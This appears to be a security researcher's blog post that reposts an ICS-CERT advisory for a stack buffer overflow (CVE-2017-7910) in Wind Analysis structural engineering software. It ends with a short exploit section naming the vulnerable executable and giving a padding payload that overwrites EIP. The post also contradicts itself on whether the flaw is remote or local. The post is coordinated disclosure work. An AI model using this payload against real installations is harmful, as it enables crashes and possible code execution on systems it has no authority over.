security advisory

[ICS] Digital Canal Structural Wind Analysis Stack Buffer Overflow

[ICS] Digital Canal Structural Wind Analysis Stack Buffer Overflow

ICS-CERT published an advisory on one of my reports this week –
https://ics-cert.us-cert.gov/advisories/ICSA-17-157-02

Vendor: Digital Canal Structural
Equipment: Wind Analysis
Vulnerability: Stack-Based Buffer Overflow

AFFECTED PRODUCTS

The following versions of Wind Analysis, a structural engineering software platform, are affected:

IMPACT

Successful exploitation of this vulnerability could cause the device that the attacker is accessing to become unavailable, resulting in a denial of service.

MITIGATION

Digital Canal Structural recommends that users upgrade to the latest version of the software, which can be obtained from the following location:

ftp://ftp.digitalcanal.com/CLIENT_SUPPORT/Structural/Products/Wind9/WindV9Setup.exe

VULNERABILITY OVERVIEW

An attacker may be able to run arbitrary code by remotely exploiting an executable to perform a denial-of-service attack.

CVE-2017-7910 has been assigned to this vulnerability. A CVSS v3 base score of 7.5 has been assigned; the CVSS vector string is (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Exploitation

Note: This is a local exploit, not remote.

Vulnerable application
reconfig.exe

Exploit
C:\dcc\wind9> reconfig.exe <payload>

Payload
“A”*576 + “B”*4 + “C”*420

Screenshots -> EIP overwrite

+++++

Cheers~

Leave a Reply

Your email address will not be published. Required fields are marked *